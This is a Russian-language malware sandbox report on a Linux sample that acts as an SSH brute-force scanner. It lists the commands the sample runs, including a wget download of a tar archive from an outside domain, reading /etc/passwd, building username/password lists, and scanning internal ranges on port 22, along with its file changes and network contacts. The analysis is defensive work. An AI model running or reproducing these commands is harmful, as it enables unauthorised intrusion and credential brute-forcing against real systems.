Техническая информация
Вредоносные функции:
Запускает процессы:
- chmod +x <SAMPLE> a a_mass ascn.tar haiduc run.sh scan stdout.log stub.sh
- tr -d .
- <0x46>
- grep -oP (?<=inet\x5cs)\x5cd+(.\x5cd+){3}
- wget -q vvnnmm.com/d/ascn.tar
- sed -i /\x5cb\x5c(127.0\x5c)\x5cb/d test
- <SAMPLE_FULL_PATH> -c exec \x27<SAMPLE_FULL_PATH>\x27 \x22$@\x22 <SAMPLE_FULL_PATH>
- ./scan 172.17.0.0-172.17.255.255 22
- sed -i /\x5cb\x5c(169.254\x5c)\x5cb/d test
- cut -d . -f 2
- grep bash
- /bin/bash ./a_mass 172 17
- cut -d . -f 1,2
- /usr/bin/mawk awk $0=\x22./a_mass \x22$0 ranges
- ip addr
- chmod +x <SAMPLE> a a_mass ascn.tar haiduc pass rang ranges run.sh scan start stdout.log stub.sh test two
- tar xvf ascn.tar
- cat /etc/passwd
- /usr/bin/mawk awk -F : {print $1\x22 \x22$1}
- sort -u rang
- /usr/bin/mawk awk -F : {print $1\x22 \x22\x22123456\x22}
Выполняет операции с файловой системой:
Модифицирует права доступа к файлам:
- /root/a
- /root/a_mass
- /root/haiduc
- /root/scan
- <SAMPLE_FULL_PATH>
- /root/ascn.tar
- /root/run.sh
- /root/stub.sh
- /root/pass
- /root/rang
- /root/ranges
- /root/start
- /root/test
- /root/two
Модифицирует владельца файлов:
- /root/a
- /root/a_mass
- /root/haiduc
- /root/scan
- /root/sedkrSpzM
- /root/sedsx7a1O
Создает или модифицирует файлы:
- /root/ascn.tar
- /root/a
- /root/a_mass
- /root/haiduc
- /root/scan
- /root/test
- /root/two
- /root/sedkrSpzM
- /root/sedsx7a1O
- /root/pass
- /root/rang
- /root/ranges
- /root/start
- /root/scan22.log
Изменяет время создания/доступа/модификации файлов:
- /root/ascn.tar
- /root/a
- /root/a_mass
- /root/haiduc
- /root/scan
Сетевая активность:
Устанавливает соединение:
- 8.#.8.8:53
- 94.###.65.212:80
Проводит атаку перебором по словарю (брутфорс) по протоколу SSH.
DNS ASK:
- vv##mm.com
Посылает данные следующим серверам:
- 94.###.65.212:80
Получает данные от следующих серверов:
- 94.###.65.212:80
